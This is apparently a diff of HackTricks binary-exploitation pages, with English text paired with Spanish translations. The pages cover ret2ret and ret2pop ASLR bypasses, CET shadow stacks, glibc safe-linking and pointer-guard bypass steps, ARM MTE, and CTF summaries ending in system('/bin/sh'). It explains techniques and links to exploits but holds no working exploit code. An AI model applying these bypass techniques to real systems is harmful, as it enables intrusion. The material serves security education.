- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` - 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego un gadget ROP para llamar a `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. - 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts desde el GOT y luego llamar a un gadget one.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,27 @@
## Ret2ret ## Ret2ret
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. El **objetivo** principal de esta técnica es intentar **eludir ASLR abusando de un puntero existente en la pila**.
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte). Básicamente, los desbordamientos de pila suelen ser causados por cadenas, y **las cadenas terminan con un byte nulo al final** en memoria. Esto permite intentar reducir el lugar apuntado por un puntero existente en la pila. Así que si la pila contenía `0xbfffffdd`, este desbordamiento podría transformarlo en `0xbfffff00` (nota el último byte en cero).
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. Si esa dirección apunta a nuestro shellcode en la pila, es posible hacer que el flujo llegue a esa dirección **agregando direcciones a la instrucción `ret`** hasta que se alcance esta.
Therefore the attack would be like this: Por lo tanto, el ataque sería así:
- NOP sled - NOP sled
- Shellcode - Shellcode
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) - Sobrescribir la pila desde el EIP con **direcciones a `ret`** (RET sled)
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled - 0x00 agregado por la cadena modificando una dirección de la pila haciéndola apuntar al NOP sled
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) you can see an example of a vulnerable binary and [**in this one**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) the exploit. Siguiendo [**este enlace**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c) puedes ver un ejemplo de un binario vulnerable y [**en este**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) el exploit.
## Ret2pop ## Ret2pop
In case you can find a **perfect pointer in the stack that you don't want to modify** (in `ret2ret` we changes the final lowest byte to `0x00`), you can perform the same `ret2ret` attack, but the **length of the RET sled must be shorted by 1** (so the final `0x00` overwrites the data just before the perfect pointer), and the **last** address of the RET sled must point to **`pop <reg>; ret`**.\ En caso de que puedas encontrar un **puntero perfecto en la pila que no quieras modificar** (en `ret2ret` cambiamos el byte más bajo final a `0x00`), puedes realizar el mismo ataque `ret2ret`, pero la **longitud del RET sled debe acortarse en 1** (así que el final `0x00` sobrescribe los datos justo antes del puntero perfecto), y la **última** dirección del RET sled debe apuntar a **`pop <reg>; ret`**.\
This way, the **data before the perfect pointer will be removed** from the stack (this is the data affected by the `0x00`) and the **final `ret` will point to the perfect address** in the stack without any change. De esta manera, los **datos antes del puntero perfecto serán eliminados** de la pila (estos son los datos afectados por el `0x00`) y el **último `ret` apuntará a la dirección perfecta** en la pila sin ningún cambio.
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit. Siguiendo [**este enlace**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) puedes ver un ejemplo de un binario vulnerable y [**en este**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) el exploit.
## References ## References

View File

@ -4,22 +4,22 @@
## Control Flow Enforcement Technology (CET) ## Control Flow Enforcement Technology (CET)
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action. **CET** es una característica de seguridad implementada a nivel de hardware, diseñada para frustrar ataques comunes de secuestro de flujo de control como **Return-Oriented Programming (ROP)** y **Jump-Oriented Programming (JOP)**. Estos tipos de ataques manipulan el flujo de ejecución de un programa para ejecutar código malicioso o encadenar piezas de código benigno de una manera que realiza una acción maliciosa.
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**. CET introduce dos características principales: **Indirect Branch Tracking (IBT)** y **Shadow Stack**.
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations. - **IBT** asegura que los saltos y llamadas indirectas se realicen a destinos válidos, que están marcados explícitamente como destinos legales para ramas indirectas. Esto se logra mediante el uso de un nuevo conjunto de instrucciones que marca los destinos válidos, evitando así que los atacantes desvíen el flujo de control a ubicaciones arbitrarias.
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow. - **Shadow Stack** es un mecanismo que proporciona integridad para las direcciones de retorno. Mantiene una copia segura y oculta de las direcciones de retorno separada de la pila de llamadas regular. Cuando una función retorna, la dirección de retorno se valida contra la pila sombra, evitando que los atacantes sobrescriban las direcciones de retorno en la pila para secuestrar el flujo de control.
## Shadow Stack ## Shadow Stack
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks. La **shadow stack** es una **pila dedicada utilizada exclusivamente para almacenar direcciones de retorno**. Funciona junto con la pila regular pero está protegida y oculta de la ejecución normal del programa, lo que dificulta que los atacantes la manipulen. El objetivo principal de la pila sombra es asegurar que cualquier modificación a las direcciones de retorno en la pila convencional sea detectada antes de que puedan ser utilizadas, mitigando efectivamente los ataques ROP.
## How CET and Shadow Stack Prevent Attacks ## Cómo CET y Shadow Stack Previenen Ataques
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code. Los **ataques ROP y JOP** dependen de la capacidad de secuestrar el flujo de control de una aplicación aprovechando vulnerabilidades que les permiten sobrescribir punteros o direcciones de retorno en la pila. Al dirigir el flujo a secuencias de gadgets de código existentes o gadgets orientados a retorno, los atacantes pueden ejecutar código arbitrario.
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary. - La característica **IBT** de CET hace que estos ataques sean significativamente más difíciles al asegurar que las ramas indirectas solo puedan saltar a direcciones que han sido marcadas explícitamente como destinos válidos. Esto hace imposible que los atacantes ejecuten gadgets arbitrarios dispersos por el binario.
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding. - La **shadow stack**, por otro lado, asegura que incluso si un atacante puede sobrescribir una dirección de retorno en la pila normal, la **discrepancia será detectada** al comparar la dirección corrupta con la copia segura almacenada en la pila sombra al retornar de una función. Si las direcciones no coinciden, el programa puede terminar o tomar otras medidas de seguridad, previniendo que el ataque tenga éxito.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,82 +1,82 @@
# Libc Protections # Protecciones de Libc
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Chunk Alignment Enforcement ## Aplicación de Alineación de Chunk
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin. **Malloc** asigna memoria en **agrupaciones de 8 bytes (32 bits) o 16 bytes (64 bits)**. Esto significa que el final de los chunks en sistemas de 32 bits debe alinearse con **0x8**, y en sistemas de 64 bits con **0x0**. La característica de seguridad verifica que cada chunk **se alinee correctamente** en estas ubicaciones específicas antes de usar un puntero de un bin.
### Security Benefits ### Beneficios de Seguridad
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully. La aplicación de la alineación de chunks en sistemas de 64 bits mejora significativamente la seguridad de Malloc al **limitar la colocación de chunks falsos a solo 1 de cada 16 direcciones**. Esto complica los esfuerzos de explotación, especialmente en escenarios donde el usuario tiene control limitado sobre los valores de entrada, haciendo que los ataques sean más complejos y difíciles de ejecutar con éxito.
- **Fastbin Attack on \_\_malloc_hook** - **Ataque Fastbin en \_\_malloc_hook**
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security. Las nuevas reglas de alineación en Malloc también frustran un ataque clásico que involucra el `__malloc_hook`. Anteriormente, los atacantes podían manipular los tamaños de los chunks para **sobrescribir este puntero de función** y obtener **ejecución de código**. Ahora, el requisito de alineación estricta asegura que tales manipulaciones ya no sean viables, cerrando una ruta de explotación común y mejorando la seguridad general.
## Pointer Mangling on fastbins and tcache ## Mangling de Punteros en fastbins y tcache
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**). **Mangling de Punteros** es una mejora de seguridad utilizada para proteger **los punteros Fd de fastbin y tcache** en operaciones de gestión de memoria. Esta técnica ayuda a prevenir ciertos tipos de tácticas de explotación de memoria, específicamente aquellas que no requieren información de memoria filtrada o que manipulan ubicaciones de memoria directamente en relación con posiciones conocidas (sobrescrituras **relativas**).
The core of this technique is an obfuscation formula: El núcleo de esta técnica es una fórmula de ofuscación:
**`New_Ptr = (L >> 12) XOR P`** **`New_Ptr = (L >> 12) XOR P`**
- **L** is the **Storage Location** of the pointer. - **L** es la **Ubicación de Almacenamiento** del puntero.
- **P** is the actual **fastbin/tcache Fd Pointer**. - **P** es el **Puntero Fd de fastbin/tcache**.
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits. La razón del desplazamiento a la derecha de la ubicación de almacenamiento (L) por 12 bits antes de la operación XOR es crítica. Esta manipulación aborda una vulnerabilidad inherente a la naturaleza determinista de los 12 bits menos significativos de las direcciones de memoria, que son típicamente predecibles debido a las limitaciones de la arquitectura del sistema. Al desplazar los bits, la porción predecible se mueve fuera de la ecuación, mejorando la aleatoriedad del nuevo puntero mangled y, por lo tanto, protegiendo contra exploits que dependen de la predictibilidad de estos bits.
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process. Este puntero mangled aprovecha la aleatoriedad existente proporcionada por **Randomización de Diseño de Espacio de Direcciones (ASLR)**, que aleatoriza las direcciones utilizadas por los programas para dificultar que los atacantes predigan el diseño de memoria de un proceso.
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers. **Desmangling** del puntero para recuperar la dirección original implica usar la misma operación XOR. Aquí, el puntero mangled se trata como P en la fórmula, y cuando se XOR con la ubicación de almacenamiento sin cambios (L), resulta en la revelación del puntero original. Esta simetría en el mangling y desmangling asegura que el sistema pueda codificar y decodificar punteros de manera eficiente sin un overhead significativo, mientras aumenta sustancialmente la seguridad contra ataques que manipulan punteros de memoria.
### Security Benefits ### Beneficios de Seguridad
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways: El mangling de punteros tiene como objetivo **prevenir sobrescrituras parciales y completas de punteros en la gestión de heap**, una mejora significativa en la seguridad. Esta característica impacta las técnicas de explotación de varias maneras:
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success. 1. **Prevención de Sobrescrituras Relativas Byte a Byte**: Anteriormente, los atacantes podían cambiar parte de un puntero para **redirigir chunks de heap a diferentes ubicaciones sin conocer direcciones exactas**, una técnica evidente en el exploit sin filtraciones **House of Roman**. Con el mangling de punteros, tales sobrescrituras relativas **sin una filtración de heap ahora requieren fuerza bruta**, reduciendo drásticamente su probabilidad de éxito.
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier. 2. **Aumento de la Dificultad de Ataques a Tcache Bin/Fastbin**: Los ataques comunes que sobrescriben punteros de función (como `__malloc_hook`) manipulando entradas de fastbin o tcache se ven obstaculizados. Por ejemplo, un ataque podría involucrar filtrar una dirección de LibC, liberar un chunk en el bin de tcache y luego sobrescribir el puntero Fd para redirigirlo a `__malloc_hook` para ejecución de código arbitrario. Con el mangling de punteros, estos punteros deben estar correctamente mangled, **necesitando una filtración de heap para una manipulación precisa**, elevando así la barrera de explotación.
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses. 3. **Requisito de Filtraciones de Heap en Ubicaciones No Heap**: Crear un chunk falso en áreas no heap (como la pila, sección .bss o PLT/GOT) ahora también **requiere una filtración de heap** debido a la necesidad de mangling de punteros. Esto extiende la complejidad de explotar estas áreas, similar al requisito de manipular direcciones de LibC.
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints. 4. **Filtrar Direcciones de Heap se Vuelve Más Desafiante**: El mangling de punteros restringe la utilidad de los punteros Fd en bins de fastbin y tcache como fuentes para filtraciones de direcciones de heap. Sin embargo, los punteros en bins no ordenados, pequeños y grandes permanecen sin mangling, por lo que aún son utilizables para filtrar direcciones. Este cambio empuja a los atacantes a explorar estos bins en busca de información explotable, aunque algunas técnicas aún pueden permitir desmangling de punteros antes de una filtración, aunque con restricciones.
### **Demangling Pointers with a Heap Leak** ### **Desmangling de Punteros con una Filtración de Heap**
> [!CAUTION] > [!CAUTION]
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088). > Para una mejor explicación del proceso [**ver la publicación original desde aquí**](https://maxwelldulin.com/BlogPost?post=5445977088).
### Algorithm Overview ### Resumen del Algoritmo
The formula used for mangling and demangling pointers is:&#x20; La fórmula utilizada para mangling y desmangling de punteros es:&#x20;
**`New_Ptr = (L >> 12) XOR P`** **`New_Ptr = (L >> 12) XOR P`**
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves. Donde **L** es la ubicación de almacenamiento y **P** es el puntero Fd. Cuando **L** se desplaza a la derecha por 12 bits, expone los bits más significativos de **P**, debido a la naturaleza de **XOR**, que produce 0 cuando los bits se XOR con sí mismos.
**Key Steps in the Algorithm:** **Pasos Clave en el Algoritmo:**
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged. 1. **Filtración Inicial de los Bits Más Significativos**: Al XORear el **L** desplazado con **P**, efectivamente obtienes los 12 bits superiores de **P** porque la porción desplazada de **L** será cero, dejando los bits correspondientes de **P** sin cambios.
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer. 2. **Recuperación de Bits del Puntero**: Dado que XOR es reversible, conocer el resultado y uno de los operandos te permite calcular el otro operando. Esta propiedad se utiliza para deducir todo el conjunto de bits para **P** al XORear sucesivamente conjuntos conocidos de bits con partes del puntero mangled.
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered. 3. **Desmangling Iterativo**: El proceso se repite, cada vez utilizando los nuevos bits descubiertos de **P** del paso anterior para decodificar el siguiente segmento del puntero mangled, hasta que se recuperen todos los bits.
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process. 4. **Manejo de Bits Deterministas**: Los últimos 12 bits de **L** se pierden debido al desplazamiento, pero son deterministas y pueden ser reconstruidos después del proceso.
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) Puedes encontrar una implementación de este algoritmo aquí: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard ## Guardián de Punteros
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers. El guardián de punteros es una técnica de mitigación de exploits utilizada en glibc para proteger punteros de función almacenados, particularmente aquellos registrados por llamadas a bibliotecas como `atexit()`. Esta protección implica desordenar los punteros mediante XOR con un secreto almacenado en los datos del hilo (`fs:0x30`) y aplicar una rotación a nivel de bits. Este mecanismo tiene como objetivo prevenir que los atacantes secuestren el flujo de control sobrescribiendo punteros de función.
### **Bypassing Pointer Guard with a leak** ### **Eludiendo el Guardián de Punteros con una filtración**
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`. 1. **Entendiendo las Operaciones del Guardián de Punteros:** El desordenamiento (mangling) de punteros se realiza utilizando el macro `PTR_MANGLE` que XORea el puntero con un secreto de 64 bits y luego realiza una rotación a la izquierda de 0x11 bits. La operación inversa para recuperar el puntero original es manejada por `PTR_DEMANGLE`.
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling. 2. **Estrategia de Ataque:** El ataque se basa en un enfoque de texto plano conocido, donde el atacante necesita conocer tanto la versión original como la mangled de un puntero para deducir el secreto utilizado para el mangling.
3. **Exploiting Known Plaintexts:** 3. **Explotando Textos Planos Conocidos:**
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers. - **Identificación de Punteros de Función Fijos:** Al examinar el código fuente de glibc o tablas de punteros de función inicializadas (como `__libc_pthread_functions`), un atacante puede encontrar punteros de función predecibles.
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function. - **Cálculo del Secreto:** Usando un puntero de función conocido como `__pthread_attr_destroy` y su versión mangled de la tabla de punteros de función, el secreto puede ser calculado rotando hacia atrás (rotación a la derecha) el puntero mangled y luego XOReándolo con la dirección de la función.
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps. 4. **Textos Planos Alternativos:** El atacante también puede experimentar con mangling de punteros con valores conocidos como 0 o -1 para ver si estos producen patrones identificables en la memoria, revelando potencialmente el secreto cuando se encuentran estos patrones en volcado de memoria.
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations. 5. **Aplicación Práctica:** Después de calcular el secreto, un atacante puede manipular punteros de manera controlada, eludiendo esencialmente la protección del Guardián de Punteros en una aplicación multihilo con conocimiento de la dirección base de libc y la capacidad de leer ubicaciones de memoria arbitrarias.
## References ## Referencias
- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088) - [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1) - [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)

View File

@ -1,83 +1,81 @@
# Memory Tagging Extension (MTE) # Extensión de Etiquetado de Memoria (MTE)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code. **Extensión de Etiquetado de Memoria (MTE)** está diseñada para mejorar la fiabilidad y seguridad del software al **detectar y prevenir errores relacionados con la memoria**, como desbordamientos de búfer y vulnerabilidades de uso después de liberar. MTE, como parte de la **arquitectura ARM**, proporciona un mecanismo para adjuntar una **pequeña etiqueta a cada asignación de memoria** y una **etiqueta correspondiente a cada puntero** que referencia esa memoria. Este enfoque permite la detección de accesos ilegales a la memoria en tiempo de ejecución, reduciendo significativamente el riesgo de explotar tales vulnerabilidades para ejecutar código arbitrario.
### **How Memory Tagging Extension Works** ### **Cómo Funciona la Extensión de Etiquetado de Memoria**
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.&#x20; MTE opera **dividiendo la memoria en bloques pequeños de tamaño fijo, con cada bloque asignado a una etiqueta,** típicamente de unos pocos bits de tamaño.&#x20;
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block. Cuando se crea un puntero para apuntar a esa memoria, recibe la misma etiqueta. Esta etiqueta se almacena en los **bits no utilizados de un puntero de memoria**, vinculando efectivamente el puntero a su bloque de memoria correspondiente.
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure> <figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.** Cuando un programa accede a la memoria a través de un puntero, el hardware de MTE verifica que la **etiqueta del puntero coincida con la etiqueta del bloque de memoria**. Si las etiquetas **no coinciden**, indica un **acceso ilegal a la memoria.**
### MTE Pointer Tags ### Etiquetas de Puntero MTE
Tags inside a pointer are stored in 4 bits inside the top byte: Las etiquetas dentro de un puntero se almacenan en 4 bits dentro del byte superior:
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure> <figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Therefore, this allows up to **16 different tag values**. Por lo tanto, esto permite hasta **16 valores de etiqueta diferentes**.
### MTE Memory Tags ### Etiquetas de Memoria MTE
Every **16B of physical memory** have a corresponding **memory tag**. Cada **16B de memoria física** tiene una **etiqueta de memoria** correspondiente.
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM. Las etiquetas de memoria se almacenan en una **región de RAM dedicada** (no accesible para uso normal). Tener etiquetas de 4 bits para cada 16B de etiquetas de memoria ocupa hasta el 3% de la RAM.
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
ARM introduce las siguientes instrucciones para manipular estas etiquetas en la memoria RAM dedicada:
``` ```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
... ...
``` ```
## Comprobación de Modos
## Checking Modes ### Sincronizado
### Sync La CPU verifica las etiquetas **durante la ejecución de la instrucción**, si hay una discrepancia, genera una excepción.\
Este es el más lento y seguro.
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\ ### Asincronizado
This is the slowest and most secure.
### Async La CPU verifica las etiquetas **asincrónicamente**, y cuando se encuentra una discrepancia, establece un bit de excepción en uno de los registros del sistema. Es **más rápido** que el anterior, pero es **incapaz de señalar** la instrucción exacta que causó la discrepancia y no genera la excepción de inmediato, dando algo de tiempo al atacante para completar su ataque.
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack. ### Mixto
### Mixed
??? ???
## Implementation & Detection Examples ## Ejemplos de Implementación y Detección
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\ Llamado KASAN basado en etiquetas de hardware, KASAN basado en MTE o MTE en el núcleo.\
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer. Los asignadores del núcleo (como `kmalloc`) **llamarán a este módulo** que preparará la etiqueta para usar (aleatoriamente) adjuntarla al espacio del núcleo asignado y al puntero devuelto.
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**. Ten en cuenta que **solo marcará suficientes granulos de memoria** (16B cada uno) para el tamaño solicitado. Así que si el tamaño solicitado fue 35 y se dio un bloque de 60B, marcará los primeros 16\*3 = 48B con esta etiqueta y el **resto** será **marcado** con una llamada **etiqueta inválida (0xE)**.
